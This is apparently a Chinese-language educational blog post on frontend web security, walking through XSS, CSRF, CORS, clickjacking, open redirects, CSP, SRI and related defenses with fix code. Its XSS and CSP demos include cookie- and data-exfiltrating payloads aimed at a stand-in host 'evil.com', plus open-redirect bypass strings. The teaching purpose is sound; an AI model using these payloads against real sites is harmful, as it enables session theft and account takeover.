Engineering & Insights • October 6, 2026

前端資安學習筆記:用互動動畫看懂常見攻擊與防禦

前端資安學習筆記:用互動動畫看懂常見攻擊與防禦

前端資安學習筆記:用互動動畫看懂常見攻擊與防禦

前端工程師很常覺得「資安是後端的事」。但實際上,大部分攻擊最後都發生在瀏覽器裡:惡意腳本在使用者的分頁執行、Cookie 被瀏覽器自動帶出去、金鑰被打包進 bundle 送到每個人手上。

這篇是我整理前端資安概念時的學習筆記。我把最常見的資安問題各做成一個互動動畫,每個動畫都用同一個結構:

  1. 五個步驟:一步步看攻擊怎麼發生,每一步附上「駭客觀點」,說明攻擊者當下在想什麼。
  2. 根本原因:為什麼這件事會發生。
  3. 正確做法:實際可以用的修正程式碼。

先從這個像素小冒險開始:按下「開始冒險」會從第一關一路播到最後,也可以點下方的關卡直接跳過去。每一關的完整版動畫,都能從對話框或各段落的連結打開。

SECURITY QUEST
前端資安 · 像素動畫教學 · a pixel-art explainer
SECURITY
QUEST
前端資安大冒險
0:00 / 5:20
START開始畫面
跟著小勇者闖過四個世界:每一關先看攻擊怎麼一步步得逞,再看防禦在哪一步把它擋下。準備好了就按「開始冒險」!
ATK攻擊DEF防禦資料
時間軸上的秒數是播放時間,不是真實攻擊需要的時間。

怎麼玩這篇文章:每一題都有一個會自己播放的攻擊流程,看完後打開右上角的「🛡 開啟防禦」,再看一次它在哪一步被擋下。其中七題附了可以直接動手的實驗,最後還有檢查清單和小測驗。


先建立心智模型:四類問題

這些問題看起來很雜,但歸納起來只有四種根本原因。先記住這四類,遇到新的漏洞時也比較容易判斷它屬於哪一種。

類別核心觀念包含的主題
A. 注入與執行瀏覽器分不出「資料」和「程式碼」01 XSS、03 Token 儲存、14 CSP
B. 瀏覽器的自動行為被濫用瀏覽器會「好心」幫你帶 Cookie、嵌入頁面、跟著跳轉02 CSRF、11 CORS、12 Clickjacking、13 Open Redirect
C. 信任邊界放錯地方送到瀏覽器的東西都是公開的,前端的檢查都能被繞過04 前端授權、07 硬編碼機密、08 Console Log、09 Source Map
D. 供應鏈與傳輸你信任的程式碼,在送到使用者之前可能已經被換掉05 供應鏈攻擊、06 CDN SRI、10 混合內容

一句話總結:永遠不要信任來自使用者端的任何東西,也不要把秘密交給使用者端。


A. 注入與執行

01 XSS 跨站腳本攻擊

留言板沒有過濾輸入,讓惡意程式碼在別人的瀏覽器裡執行。

STAGE 01攻擊流程
攻擊者
留言板伺服器
受害者
攻擊者伺服器
步驟 1/5
攻擊者在留言框送出一段含 <script> 的內容。
▶ 看完整動畫(含駭客觀點) →

根本原因:伺服器把使用者輸入原封不動輸出成 HTML,瀏覽器分不出這是「內容」還是「程式碼」。

正確做法

function escapeHtml(str) {
  return str.replace(/[&<>"']/g, (c) => ({
    '&': '&amp;', '<': '&lt;', '>': '&gt;', '"': '&quot;', "'": '&#39;',
  }[c]));
}
res.send('<div>' + escapeHtml(comment) + '</div>');

補充:

  • XSS 有三種:儲存型(存進資料庫)、反射型(藏在網址參數裡)、DOM 型(前端 JS 自己把資料塞進 innerHTML)。
  • React / Vue 的 {value} 綁定預設會跳脫,危險的是 dangerouslySetInnerHTML、v-html、innerHTML,以及 <a href={userInput}>(javascript: 開頭的網址照樣會執行)。
  • 真的需要顯示使用者提供的 HTML(例如富文字編輯器),用 DOMPurify 這類函式庫消毒,不要自己寫正規表達式。
★ 動手玩
留言板 XSS 模擬器
輸入一則留言,切換兩種輸出方式,看看瀏覽器會怎麼對待它。這裡只做解析,不會真的執行。
試試這些:
60 / 400
瀏覽器拿到的 HTML
<div class="comment"><img src=x onerror="fetch('//evil.com?c='+document.cookie)"></div>

同一段惡意腳本,遇到不同的儲存方式,結果完全不同。

STAGE 03攻擊流程
惡意腳本
瀏覽器儲存區
攻擊者伺服器
步驟 1/5
網站被注入了一段惡意腳本。
▶ 看完整動畫(含駭客觀點) →

完整動畫是左右對照:同樣一個 XSS,token 放在 localStorage 會被一行 localStorage.getItem('token') 直接讀走;放在 httpOnly Cookie 裡,JavaScript 根本讀不到。

根本原因:localStorage 對頁面上所有 JavaScript 完全開放,只要有一個 XSS 縫隙,token 就沒了。

正確做法

res.cookie('token', jwt, {
  httpOnly: true,    // JS 讀不到
  secure: true,      // 只走 HTTPS
  sameSite: 'strict' // 不跟著跨站請求送出(同時防 CSRF)
});

補充:httpOnly 是降低損害,不是阻止 XSS。腳本雖然偷不走 token,但還是能在當下以使用者身分發請求。所以它要跟 XSS 防護、CSP 一起用。另外改用 Cookie 之後就要開始考慮 CSRF(見 02)。

★ 動手玩
惡意腳本偷 Token 模擬
先選 token 存在哪裡,再按下「執行注入的腳本」,看看同一段腳本能拿到什麼。
ElementsConsoleApplication
> _

14 CSP 內容安全政策

CSP 是防 XSS 最有效的第二道防線,但很多專案根本沒設定。

STAGE 14攻擊流程
被注入的腳本
瀏覽器
evil.com
步驟 1/5
某個地方漏了跳脫,惡意腳本混進頁面。
▶ 看完整動畫(含駭客觀點) →

就算某個地方漏掉跳脫、讓惡意腳本混進頁面,CSP 也能告訴瀏覽器:「只執行我允許的腳本、只連線到我允許的網域」。沒有 CSP 的話,瀏覽器預設不會限制腳本能不能對外連線。

正確做法

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-r4nd0mBase64'

補充:

  • nonce 每次回應都要重新產生一組隨機值,並加在合法的 <script nonce="..."> 上,攻擊者注入的腳本沒有 nonce,就不會執行。
  • 避免 'unsafe-inline' 和 'unsafe-eval',加了等於把門打開一半。
  • 上線前先用 Content-Security-Policy-Report-Only 觀察一段時間,確認不會擋到正常功能再正式啟用。
  • connect-src 可以限制 fetch 能連到哪裡,就算腳本跑起來,也很難把資料送出去。
★ 動手玩
CSP 政策切換器
頁面上有兩段你自己的腳本,和四個攻擊者塞進來的東西。切換 CSP,看瀏覽器放行哪些、擋下哪些。
Content-Security-Policy: —
  • 你的<script src="/app.js">▶ 執行
  • 你的<script nonce="r4nd0m">init()</script>▶ 執行
  • 攻擊者<script>steal()</script>▶ 執行
  • 攻擊者<img src=x onerror="steal()">▶ 執行
  • 攻擊者<script src="https://cdn.evil.com/x.js">▶ 執行
  • 攻擊者fetch('https://evil.com/c?d=' + data)▶ 執行
✗ 沒有 CSP:攻擊者塞進來的每一樣東西都會執行,資料也能自由送出。

B. 瀏覽器的自動行為被濫用

02 CSRF 跨站請求偽造

瀏覽器自動附上的登入憑證,被別的網站拿去偽造請求。

STAGE 02攻擊流程
使用者的瀏覽器
惡意網站
銀行 bank.com
步驟 1/5
使用者登入銀行,瀏覽器存下 session Cookie。
▶ 看完整動畫(含駭客觀點) →

根本原因:伺服器只檢查「有沒有登入 Cookie」,沒檢查請求是不是使用者在自己網站上主動發出的。

正確做法

// Cookie 加上 SameSite
res.cookie('session', token, { httpOnly: true, sameSite: 'strict', secure: true });

// 重要操作另外驗證一組隨機 Token
app.post('/transfer', (req, res) => {
  if (req.body.csrfToken !== req.session.csrfToken) {
    return res.status(403).send('CSRF token 不符');
  }
  doTransfer(req.body);
});

補充:現代瀏覽器沒設定時預設是 SameSite=Lax,擋掉了大部分跨站 POST,但用 GET 做有副作用的操作(例如 GET /delete?id=1)還是會中招。原則是:會改資料的操作一律不要用 GET,並在伺服器檢查 Origin 標頭。

11 CORS 設定過寬

Access-Control-Allow-Origin: * 等於對任何網站開門。

STAGE 11攻擊流程
使用者瀏覽器
惡意網站
你的 API
步驟 1/5
使用者已登入你的網站,持有 session。
▶ 看完整動畫(含駭客觀點) →

根本原因:CORS 是用來放寬同源政策的。設定太寬,等於讓任何網站都能用使用者的身分讀你的 API。

正確做法:用白名單,不要用萬用字元。

const allowedOrigins = ['https://yourapp.com', 'https://admin.yourapp.com'];

app.use(cors({
  origin: (origin, callback) => {
    if (!origin || allowedOrigins.includes(origin)) callback(null, true);
    else callback(new Error('不在允許清單內'));
  },
  credentials: true,
}));

補充(動畫為了好懂做了簡化):瀏覽器其實不允許 Allow-Origin: * 搭配 Allow-Credentials: true,這個組合會直接被擋。實務上真正出事的寫法是「把請求的 Origin 原封不動回傳」再加上 credentials: true,效果跟萬用字元一樣,而且瀏覽器不會擋。另外要小心允許 null origin,以及用 endsWith('yourapp.com') 這種會被 evil-yourapp.com 騙過的比對方式。

★ 動手玩
CORS 設定試驗台
每個請求都帶著使用者的 Cookie(credentials: 'include')。換換伺服器設定和發出請求的網站,看瀏覽器怎麼判斷。
伺服器設定
發出請求的網站
→ 請求
GET /api/me
Origin: https://evil.com
Cookie: session=abc123
← API 回應標頭
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
✗ 資料外洩:瀏覽器看到 Origin 完全吻合又允許 credentials,就把使用者的私人資料交給這個網站。

12 Clickjacking 點擊劫持

你看到的按鈕,跟你實際點到的按鈕,可能根本不是同一個。

STAGE 12攻擊流程
使用者
誘餌頁面
透明 iframe:bank.com
步驟 1/5
攻擊者做了「立即領取優惠」頁面。
▶ 看完整動畫(含駭客觀點) →

根本原因:網站沒有限制自己能不能被別人用 iframe 嵌入。

正確做法

Content-Security-Policy: frame-ancestors 'none'
X-Frame-Options: DENY

補充:frame-ancestors 是新標準,X-Frame-Options 是給舊瀏覽器的備援,兩個都加最保險。要注意 frame-ancestors 只能用 HTTP 標頭設定,寫在 <meta> 裡不會生效。

★ 動手玩
點擊劫持:你點到的是什麼?
先照常點下「立即領取」,再拉動滑桿把上面那層透明 iframe 顯示出來。
🎉 恭喜!你抽中了限量耳機
立即領取 🎁
🏦 bank.com・確認轉帳
收款人:attacker 金額:NT$5,000

13 開放重導向 Open Redirect

先跳到一個真的網站建立信任,再被悄悄導去別的地方。

STAGE 13攻擊流程
使用者
real-bank.com
evil-fake-bank.com
步驟 1/5
收到看似官方的信,連結開頭是 real-bank.com。
▶ 看完整動畫(含駭客觀點) →

根本原因:重導向目的地完全信任使用者傳入的參數。

正確做法:只允許白名單內的路徑。

const allowedPaths = ['/dashboard', '/profile', '/settings'];

app.get('/login', (req, res) => {
  const target = req.query.redirect;
  if (allowedPaths.includes(target)) return res.redirect(target);
  return res.redirect('/dashboard'); // 不信任的一律導回預設頁
});

補充:如果不能用白名單,至少要用 new URL(target, location.origin) 解析後比對 origin。只檢查「是不是 / 開頭」不夠,//evil.com 和 /\evil.com 都會被瀏覽器當成外部網址。

★ 動手玩
重導向驗證器
輸入 ?redirect= 的值、選一種伺服器檢查方式,看看使用者最後會被帶到哪裡。
試試這些:
…/login?redirect=
伺服器檢查方式
//evil-fake-bank.com 通過檢查
瀏覽器最後前往
https://evil-fake-bank.com/
✗ 使用者被帶離官方網站,假登入頁就等在那裡。
看到了嗎?它以 / 開頭,卻是外部網址。瀏覽器把 // 和 /\ 都當成「換網域」。

C. 信任邊界放錯地方

04 前端做權限判斷,後端沒有再驗證

把按鈕藏起來不代表安全。

STAGE 04攻擊流程
一般使用者
前端介面
API 後端
步驟 1/5
前端判斷不是管理員,把「刪除使用者」按鈕藏起來。
▶ 看完整動畫(含駭客觀點) →

根本原因:權限判斷只做在前端,後端完全信任每一個請求。

正確做法

app.delete('/api/users/:id', requireAuth, (req, res) => {
  if (req.user.role !== 'admin') return res.status(403).send('沒有權限');
  deleteUser(req.params.id);
});

補充:除了「你是不是管理員」,還要檢查「這筆資料是不是你的」。只驗登入、不驗擁有者,改網址上的 id 就能看到別人的資料,這叫 IDOR(Insecure Direct Object Reference),是 OWASP 排名第一的「權限控制失效」裡最常見的一種。前端的權限判斷只是為了使用者體驗。

07 敏感資訊寫死在前端程式碼

只要送到瀏覽器的東西,任何人都拿得到。

STAGE 07攻擊流程
開發者
上線的 JS bundle
任何訪客
付費 API
步驟 1/5
開發者把 API 金鑰直接寫在前端程式碼。
▶ 看完整動畫(含駭客觀點) →

根本原因:前端程式碼會完整送到使用者的瀏覽器,寫在裡面的字串都等於公開。

正確做法:前端呼叫自己的後端,金鑰留在伺服器的環境變數。

// ✅ 前端
fetch('/api/ask');

// ✅ 後端
app.get('/api/ask', async (req, res) => {
  const r = await fetch('https://api.openai.com/v1/...', {
    headers: { Authorization: `Bearer ${process.env.OPENAI_KEY}` },
  });
  res.json(await r.json());
});

補充:

  • VITE_、NEXT_PUBLIC_、PUBLIC_ 開頭的環境變數會被打包進前端,不能放秘密。
  • 有些金鑰本來就設計成公開的(例如 Stripe publishable key、Firebase config),安全性要靠後端規則和網域限制。
  • 金鑰一旦外洩,刪掉程式碼沒用,Git 歷史還在,要立刻撤銷並換新。

08 Console Log 洩漏敏感資訊

為了除錯留下的一行 log,上線後變成公開的資料窗口。

STAGE 08攻擊流程
開發者
正式網站
任何訪客
步驟 1/5
除錯時加了 console.log(userData)。
▶ 看完整動畫(含駭客觀點) →

開發時留下的 console.log('user data:', userData) 忘了刪,任何人打開 Console 就能看到個資、角色、內部備註,還能藉此推測後端的資料結構,作為下一步攻擊的線索。

根本原因:除錯訊息沒有跟著環境切換。

正確做法:在建置階段自動移除。

// webpack(Terser)
optimization: {
  minimizer: [new TerserPlugin({
    terserOptions: { compress: { drop_console: true } },
  })],
}

// Vite(esbuild)
export default defineConfig({
  esbuild: { drop: ['console', 'debugger'] },
});

補充:比起事後移除,更好的做法是用有分級的 logger(只在開發環境輸出 debug),並加上 ESLint 的 no-console 規則,在 code review 前就擋下來。

09 Source Map 暴露原始程式碼

程式碼看起來已經混淆過了,但一個 .map 檔案就能整個還原。

STAGE 09攻擊流程
建置工具
正式伺服器
攻擊者
步驟 1/5
程式碼被壓縮成 function a(b){return b.c+b.d}。
▶ 看完整動畫(含駭客觀點) →

根本原因:.map 就是原始碼和混淆碼之間的完整對照表。

正確做法

// webpack
module.exports = {
  devtool: process.env.NODE_ENV === 'production' ? false : 'source-map',
};

// Vite(預設就是 false)
export default defineConfig({ build: { sourcemap: false } });

補充:如果需要在錯誤追蹤服務(例如 Sentry)看到原始行號,用 'hidden' 產生 source map 但不在 JS 裡引用,並上傳到錯誤追蹤服務後從部署檔案中刪掉。另外要記得:就算沒有 source map,前端程式碼還是讀得懂,不要把安全性建立在「看不懂」上。


D. 供應鏈與傳輸

05 第三方套件供應鏈攻擊

你信任的套件,可能又依賴著一個你完全不認識、已經被入侵的套件。

STAGE 05攻擊流程
攻擊者
npm registry
你的專案
使用者瀏覽器
步驟 1/5
盜用一個冷門深層套件的維護者帳號。
▶ 看完整動畫(含駭客觀點) →

根本原因:專案信任了整條依賴鏈,卻無法逐一審查每一層的每一次更新。

正確做法

# 用 lockfile 精確安裝,不自動跳版本
npm ci

# CI 裡加自動掃描
npm audit
# 或啟用 GitHub Dependabot(.github/dependabot.yml)自動開 PR 修補

補充:lockfile 一定要 commit;新增套件前看一下下載量、維護狀態和依賴數量;可以考慮 npm install --ignore-scripts 防止 postinstall 腳本在安裝時就執行。實際案例像 event-stream(2018)、ua-parser-js(2021)都是這種模式。

06 CDN 資源缺少 SRI 完整性驗證

外部 CDN 被入侵、檔案被偷換時,SRI 是最後一道防線。

STAGE 06攻擊流程
攻擊者
CDN
你的網頁
使用者
步驟 1/5
CDN 被入侵,lib.js 被換成惡意版本。
▶ 看完整動畫(含駭客觀點) →

完整動畫是左右對照:同樣是 CDN 上的檔案被換掉,沒有 integrity 的頁面照單全收;有 SRI 的頁面,瀏覽器發現雜湊值對不上就拒絕執行。

根本原因:少了 integrity 屬性,瀏覽器不會比對檔案內容。

正確做法

<script
  src="https://cdn.example.com/lib.js"
  integrity="sha384-..."
  crossorigin="anonymous">
</script>

補充:雜湊值可以這樣產生:

openssl dgst -sha384 -binary lib.js | openssl base64 -A

crossorigin="anonymous" 不能省,不然瀏覽器無法做比對。SRI 只適合版本固定的檔案,像 lib@latest 或會依瀏覽器回傳不同內容的資源就不能用,這時比較好的做法是把檔案下載下來自己託管。

★ 動手玩
SRI 雜湊比對
這是放在 CDN 上的 lib.js。按「CDN 被入侵」或直接改一個字,看看雜湊值怎麼變、瀏覽器怎麼反應。
CDN 上的 lib.js(可以直接編輯)
integrity(部署時算好)
…
瀏覽器現在算出的
…

10 未強制 HTTPS/混合內容

頁面主體是加密的,但一個沒加密的小資源就能被攔截。

STAGE 10攻擊流程
使用者瀏覽器
公共 WiFi 中間人
cdn.example.com
步驟 1/5
在咖啡廳 WiFi 瀏覽一個 HTTPS 網站。
▶ 看完整動畫(含駭客觀點) →

根本原因:只要有一個資源走 HTTP,那個資源的傳輸過程就完全沒有加密。

正確做法

Content-Security-Policy: upgrade-insecure-requests
Strict-Transport-Security: max-age=31536000; includeSubDomains

補充:upgrade-insecure-requests 會把頁面內的 http:// 請求自動升級成 https://;Strict-Transport-Security(HSTS)則讓瀏覽器記住「這個網站只能用 HTTPS」,連第一次輸入 http:// 都會自動改走 HTTPS。現代瀏覽器對混合的腳本會直接封鎖,但最根本的還是把所有資源網址都改成 https://。


總整理:一張表看完所有問題

#主題根本原因第一個要做的防禦
01XSS輸入被當成 HTML 執行輸出時跳脫、不用 innerHTML
02CSRF瀏覽器自動帶 CookieSameSite + CSRF Token
03Token 儲存localStorage 對 JS 開放httpOnly Cookie
04前端授權後端沒有驗證權限後端每個 API 都檢查角色與擁有者
05供應鏈攻擊自動升級到被入侵的版本npm ci + lockfile + Dependabot
06CDN SRI不比對外部檔案內容integrity + crossorigin
07硬編碼機密前端程式碼是公開的金鑰只放後端環境變數
08Console Log除錯訊息帶到正式環境建置時 drop_console
09Source Map.map 檔一起上線正式環境關閉 source map
10混合內容部分資源走 HTTPupgrade-insecure-requests + HSTS
11CORS對任何來源放行Origin 白名單
12Clickjacking頁面可以被任意嵌入frame-ancestors 'none'
13Open Redirect信任使用者傳入的網址重導向路徑白名單
14CSP瀏覽器不限制腳本來源script-src + nonce

上線前檢查清單

★ 動手玩
上線前檢查清單
拿你手上的專案逐項勾勾看。勾選狀態只存在你自己的瀏覽器。
HP
0 / 13 完成

安全標頭速查

把上面提到的標頭整理在一起,大部分可以直接放進伺服器或 CDN 設定:

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; frame-ancestors 'none'; upgrade-insecure-requests
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-origin

設定完可以用 securityheaders.com 或 Mozilla Observatory 檢查。

小測驗

看完了嗎?用七個真實情境測測看,你能不能從症狀認出攻擊手法。

★ 動手玩
小測驗:這是哪一種攻擊?
讀完情境,選出最符合的攻擊。
第 1 / 7 題
有人在商品評論寫了 <img src=x onerror=…>,之後每個打開那頁的使用者,帳號都被盜了。

結語

整理完這些問題,我最大的體會是:前端資安不是一堆零散的技巧,而是幾個原則反覆出現。

  • 使用者送進來的東西都不可信(XSS、Open Redirect、前端授權)。
  • 送到使用者那邊的東西都是公開的(金鑰、Console、Source Map)。
  • 瀏覽器的方便功能,也是攻擊者的方便功能(CSRF、CORS、Clickjacking)。
  • 每一層都要假設上一層可能失守(httpOnly、CSP、SRI 這些都是縱深防禦)。

如果你想更系統地學,推薦從 OWASP Top 10 和 MDN Web Security 開始。也歡迎直接回到上面的動畫目錄,挑一題從駭客的角度走一遍。